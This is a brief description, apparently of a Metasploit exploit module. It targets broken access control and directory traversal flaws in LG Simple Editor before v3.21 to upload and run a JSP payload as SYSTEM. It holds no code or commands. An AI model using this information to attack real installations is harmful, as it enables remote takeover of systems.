          This Metasploit module exploits broken access control and directory traversal
          vulnerabilities in LG Simple Editor software for gaining code execution.
          The vulnerabilities exist in versions of LG Simple Editor prior to v3.21.
          By exploiting this flaw, an attacker can upload and execute a malicious JSP
          payload with the SYSTEM user permissions.
